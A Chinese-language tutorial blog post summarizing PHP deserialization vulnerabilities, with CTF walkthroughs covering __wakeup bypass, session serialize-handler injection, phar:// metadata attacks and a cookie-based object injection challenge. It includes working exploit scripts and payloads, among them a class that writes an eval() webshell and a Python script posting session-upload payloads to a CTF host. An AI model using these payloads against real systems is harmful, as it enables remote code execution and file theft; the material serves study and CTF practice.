PHP反序列化漏洞总结

目录

0x01 相关函数

0x02 相关魔术方法:

0x03 反序列化漏洞例题

0x04 序列化的一些注意点:

0x05 PHP Bug 72663

0x06 PHP BUG 71101

0x07 Phar 反序列化

其他例题:

0x01 相关函数

serialize() 序列化

unserialize() 反序列化

<?php
// 将对象序列化
class A{
   public $test = 123;
}
$a = new A;
$a_ser=serialize($a);
echo $a_ser."\n";
// 将数组序列化
$b = array('xiaoming','xiaohong','ligang','dongqin');
$b_ser=serialize($b);
echo "$b_ser\n";
//反序列化
$b_unser = unserialize($b_ser);
$a_unser = unserialize($a_ser);
print_r($b_unser);
print_r($a_unser);

执行结果:

序列化后字符串意义解释:

变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}

0x02 相关魔术方法:

一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已

__construct():

构造函数,当对象被创建的时候自动调用,对对象进行初始化。但是在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。

__destruct():当对象被销毁时会自动调用。

__wakeup():unserialize()时会自动调用。

__sleep(): serialize() 时自动调用

__toString():打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

<?php
class ABC{
    public $test;
    function __construct(){
        $test =1;
        echo '调用了构造函数<br>';
    }
    function __destruct(){
        echo '调用了析构函数<br>';
    }
    function __wakeup(){
        echo '调用了苏醒函数<br>';
    }
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>

其他魔术方法:

0x03 反序列化漏洞例题

例题1:来自bugku

思路:可以利用file_get_contenst("php://input") 来读取post传参字符串

?txt=php://input  同时post传参为welcome to the bugkuctf

然后通过

?file =php://filter/convert.base64-encode/resource=hint.php 来读取hint.php的源码的base64编码

经过base64解码后:

这里应该存在一个任意文件读取的漏洞,可以利用该漏洞读取flag.php 的源码

尝试读取下index.php的源码:

从index.php的源码中可以看出只要我们准备 一个Flag对象,给它的file付个值,然后序列化,将序列化后的字符串传给password即可

0x04 序列化的一些注意点:

序列化对象:

private变量会被序列化为:\x00类名\x00变量名

protected变量会被序列化为:\x00*\x00变量名

public变量会被序列化为:变量名

例如:

<?php
// 将对象序列化
class Worker{
   public $public_variable = "pub_var";
   protected $protected_variable = "pro_var";
   private $private_variable = "pri_var";
   
}
$worker = new Worker;
$str_worker=serialize($worker);
echo $str_worker."\n";


运行结果:

Workerprivate_variable 只有22位,但是前面却显示24位,说明实际有两位\x00\x00没有显示出来

用python显示utf-8编码之前的数据:

\x00 其实就是\0 C语句中的字符串结束符

例题:

如果直接将对象序列化,?data=拼接

必然被正则匹配到

可以将O:4 修改为O:+4 来绕过正则匹配,注意:需要先将+url编码为%2b

不然+会被认为是空格

0x05 PHP Bug 72663

当反序列化字符串时,如果表示对象属性个数的值大于真实的属性个数的值时就会跳过__wakeup的执行

例如:

下面的类中实际上只有一个成员变量

如果将序列化字符串中的1,修改为2,再进行反序列化,那么就会跳过__wakeup的执行

例题:

<?php
Class SoFun{
    protected $file = "index.php";
    public function __construct($file){
        $this->file = $file;
    }
    function __destruct(){
        if(!empty($this->file)){
            if(strchr($this->file,"\\")==false && strchr($this->file,'/')==false){
                show_source(dirname(__FILE__).'/'.$this->file);
            }else{
                die("Wrong filename");
            }
        }
    }
    function __wakeuo(){
        $this->file='index.php';
    }
    public function __toString(){
        return '';
    }
}
if(!isset($_GET['file'])){
   show_source('index.php'); 
}else{
    $file = base64_decode($_GET['file']);
    echo unserialize($file);
}
// key in flag.php

思路:利用PHP BUG 72663 跳过__wakeup函数的执行即可

一个简单的利用脚本:

<?php
Class SoFun{
    protected $file = "index.php";
    public function __construct($file){
        $this->file = $file;
    }
    function __destruct(){
        if(!empty($this->file)){
            if(strchr($this->file,"\\")==false && strchr($this->file,'/')==false){
                show_source(dirname(__FILE__).'/'.$this->file);
            }else{
                die("Wrong filename");
            }
        }
    }
    function __wakeuo(){
        $this->file='index.php';
    }
    public function __toString(){
        return '';
    }
}
$so_fun = new SoFun("flag.php");
$str_so_fun = serialize($so_fun);
$payload = base64_encode(str_replace('1','2',$str_so_fun));
$base_url = 'http://127.0.0.1:8888/loophole-recurrence/Serialize/index.php?file=';
$targe_url = $base_url.$payload;
$resp = file_get_contents($targe_url);
echo $resp;

0x06 PHP BUG 71101

PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions

PHP 内置的多种处理器用于存取 $_SESSION 数据时会对数据 进行序列化和反序列化,常用的有以下三种,对应三种不同的 处理格式:

配置选项 session.serialize_handler:

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器: session.serialize_handler "php" PHP_INI_ALL

例如:

<?php
ini_set("session.serialize_handler",'php');
session_start();
$_SESSION['username']=$_GET['u'];
phpinfo();

<?php
ini_set("session.serialize_handler",'php_binary');
session_start();
$_SESSION['username']=$_GET['u'];
phpinfo();

<?php
ini_set("session.serialize_handler",'php_serialize');
session_start();
$_SESSION['username']=$_GET['u'];
phpinfo();

如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理 器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据

例如:

当存储是php_serialize处理,然后调用时php去处理 如果这时候注入的数据是a=|O:4:"test":0:{} 那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";} 根据解释,其中a:1:{s:1:"a";s:16:"在经过php解析后是被看成键名。

一个简单的证明脚本:实现对象注入,可以在对象的__destruct 函数中实现任意恶意代码,比如说写入一个木马

服务器上文件:

class.php

<?php
class Peiqi{
    public $meat ="233";
    function __wakeup(){
        echo "I am wakeup";
    }
    function __destruct(){
        echo $this->meat;
        $payload = '<?php eval($_GET[1]);?>';
        file_put_contents("ma.php",$payload);
        echo "木马写入成功!";
    }
}

session_phpserialize.php 写入session

<?php
ini_set("session.serialize_handler",'php_serialize');
session_start();
$_SESSION['username']=$_GET['u'];
echo "存储成功!序列化方式:php_serialize";
var_dump($_SESSION);

session_php.php 读取session

只要该文件中包含了类的定义,并且执行了session_start() ,那么session_start 就会读取cookie中发送过来session_id ,然后读取对应sess文件,将其中的内容进行反序列化。

在反序列化过程中需要参考类的定义,所以必须包含类的定义。

<?php
require 'class.php';
ini_set("session.serialize_handler",'php');
session_start();

利用脚本:

1.生成payload

class.php

<?php
class Peiqi{
    public $meat ="233";
    function __wakeup(){
        echo "I am wakeup";
        $payload = '<?php eval($_GET[1]);?>';
        $ret = file_put_contents("ma.php",$payload);
        if($ret){
            echo "木马写入成功!";
        }else{
            echo "木马写入失败";
        }
      
    }
    function __destruct(){
        echo $this->meat;

    }
}

经验证,写木马操作,如果放在_destruct 中,不会得到执行(目前没有搞清楚原因)

但是如果放在__wakeup()中,则会正常执行

<?php

require 'class.php';
$p = new Peiqi();
$p->meat ="12333213";
$payload = serialize($p);
echo $payload."\n";

2.发送payload

<?php

//发送get请求,并接受响应,如果响应中包含cookie就存储下来,随后发送请求时,带上之前收到的cookie
function get($url){
    $cookie_file = "cookie.txt";
    $ch = curl_init($url); //初始化
    curl_setopt($ch, CURLOPT_HEADER, 0); //不返回header部分
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //返回字符串,而非直接输出
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); //使用上面获取的cookies
    curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file); //存储cookies
    $resp = curl_exec($ch);
    curl_close($ch);
    return $resp;
}

$payload = '|O:5:"Peiqi":1:{s:4:"meat";s:8:"12333213";}';
$base_url = "http://127.0.0.1:8888/loophole-recurrence/Serialize/";

//用php_searialzie 存储session
$save_url = $base_url."session_phpserialize.php?u=".$payload;
$resp  = get($save_url);
var_dump($resp);
//用php 访问上次存储的session
$read_url = $base_url."session_php.php";
$resp = get($read_url);
var_dump($resp);

执行结果:

总结一下:

如果SESSION用php_serialize 处理器 存储一个对象的序列化字符串,然后以php_serialzie处理器执行session_start反序列化,读出只是这个序列化字符串本身

但是如果用php_serialize处理器存储'|'拼接上对象的序列化字符串,那么用php处理器执行session_start反序列化,那么该对象的序列化字符串就会被反序列成对象

当配置选项 session.auto_start=Off时(一般都为off),如果两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题

当配置选项 session.auto_start=On时,会自动注册 Session 会 话,因为该过程是发生在脚本代码执行前,所以在脚本中设定 的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函 数注册会话。

这时如果脚本中设置的序列化处理器与 php.ini 中 设置的不同,就会出现安全问题

2016年安恒杯例题:

class.php

phpinfo.php

局部配置和全局配置都是php_serialize ,如果全局配置是php,那么写入文件上传进度session时可能会有问题。

思路:

访问phpinfo.php 以php_serialize的方式生成session

访问index.php 以php的方式解析session

那么我们如何控制session的内容呢?

可以利用PHP缓存文件上传进度到session中的特性(弱点),来控制sess文件名以及其中的内容

详情见博文:PHP文件包含漏洞总结_php include漏洞_'"<>{{7*7}}的博客-CSDN博客

注意:

如果session.upload_progress.cleanup =On ,那么保存文件上传进度的sess文件会立即被删除,需要结合文件包含漏洞和自动化脚本来实现木马的写入

如果session.upload_progress.cleanup =Off ,那么保存文件上传进度的sess文件不会被删除

上题中该选项就处于Off状态

测试下class.php 中各个类如何利用:

<?php
// highlight_file(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->$varr = "index.php";
    }
    function __destruct(){
        // if(file_exists($this->varr)){
        //     echo "123";
        //     var_dump(file_exists($this->varr));
        //     echo "<br>文件".$this->varr."存在<br>";
        // }
        var_dump(file_exists($this->varr)); 
        echo "这是foo1的析构函数";
    }
}
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = "123123";
        $this->obj = null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __destruct(){
        echo "这是foo2的析构函数";
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __destruct(){
        echo "这是foo3的析构函数";
    }
}

$a = new foo1();
$b = new foo2();
$c = new foo3();

$c->varr = 'echo "hello";';
$b->obj = $c;
$a->varr = $b;

因为file_exists() 接受的是参数是string类型,所以如果传递给该函数一个对象,那么就会触发该对象的__String()方法,企图将对象转化为一个string

这时foo2的toString就会执行,进而foo3的execute就会执行

具体利用代码可以参考另一道相似题目的利用代码:http://web.jarvisoj.com:32784/

思路完全一致,强调几个注意点:

1.不要为了方便直接修改序列化字符串,因为可能导致字符串长度和实际字符串长度不一致,进而导致无法正确反序列化

建议将类拷贝下来,用序列化函数生成

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}

$a = new OowoO();
$a->mdzz = 'var_dump(123);';
echo serialize($a);

2.一些进一步渗透的思路:

  1. 尝试是否可以写入shell
  2. 尝试读取当前目录下的有哪些文件
  3. 尝试读取所有文件的源码
import requests
import threading

url = "http://web.jarvisoj.com:32784/phpinfo.php"
headers = {
    "Cookie": "PHPSESSID=icancontrolit"
}
files = {
    "myfile": ("file.jpg", open("class.php", "rb")),
}
payload = '|O:5:"OowoO":1:{s:4:"mdzz";s:14:"var_dump(123);";}'
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}"
data = {
    "PHP_SESSION_UPLOAD_PROGRESS":payload,
}
resp = requests.post(url=url, files=files, headers=headers, data=data)
# print(resp.text)
url = "http://web.jarvisoj.com:32784"
resp = requests.get(url,headers=headers);
print(resp.text)

0x07 Phar 反序列化

https://blog.ripstech.com/2018/new-php-exploitation- technique/
在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用 unserialize()函数的情况下触发PHP反序列化漏洞。

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化

利用前提:按理说,攻击者要能够向服务器上传一个phar文件,但其实可以将phar文件的后缀直接修改为jpg(phar://仍然可以正常反序列化),所以只需要一个文件上传功能即可。

其次,目标站点需要有文件包含漏洞,并且有漏洞的脚本必须包含一个我们可以利用的类

如果是include()  fopen()file_get_contents()file() 等这类的文件包含漏洞,如果攻击者可以完全控制文件路径的话,显然存在高危漏洞,彰显不出phar://的意义

phar://意义在于,所有和文件操作相关的函数,如果传入phar://内容为phar格式的文件,都会触发反序列化

包括一系列看似安全的函数,例如:

file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

证明:

创建一个phar文件

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

可以直接将生成的phar文件后缀修改为.jpg

存在漏洞的页面:

<?php
class AnyClass {
	function __destruct() {
		echo $this->data;
	}
}
file_exists($_GET['file']);

利用:

?file=phar://test.jpg

其他例题:

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload,当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

靶场链接:http://59.63.200.79:8010/uns/index.php

HINT:flag就在同目录下的flag.php中(flag in./ flag.php)

靶场源码:

 flag in ./flag.php <?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form> 

首先,通过url栏直接请求flag.php没有报错,也没有回显。说明正如hint所言,确实有一个flag.php在同源目录下。那么我们能不能通过其他方式将flag.php的内容显示出来呢?

这个程序说白了就是,文本域中输入的任何 序列化的内容,都会被反序列化。

tips:

1.<?=$a?> 是<?php echo $a?>的一种简写形式,这样写有时可以绕过一些文件上传的检测.注意:<?php =$a?>这种写法是错误的。而__toString()这个魔术方法会在对象被echo 或者 = 的时候自动调用(其实凡是对象作为字符串操作时都会自动调用)。

2.cookie在存储时,存储的是url编码后的数据,调用cookie时,会先进行url解码

我们只需要先写一个如下程序:

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
   $s = new readme();
   $s->source = "flag.php";
   $s = [$s];
   echo serialize($s);
}

//a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//MD5加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//url加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
?>

然后将url加密之后的结果,手动在控制台中设置为cookie值,然后刷新就能得到flag了。

总结:反序列本身很难有巨大威力,必须将反序列化和某个魔术方法想办法结合在一起,才能产生巨大威力

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值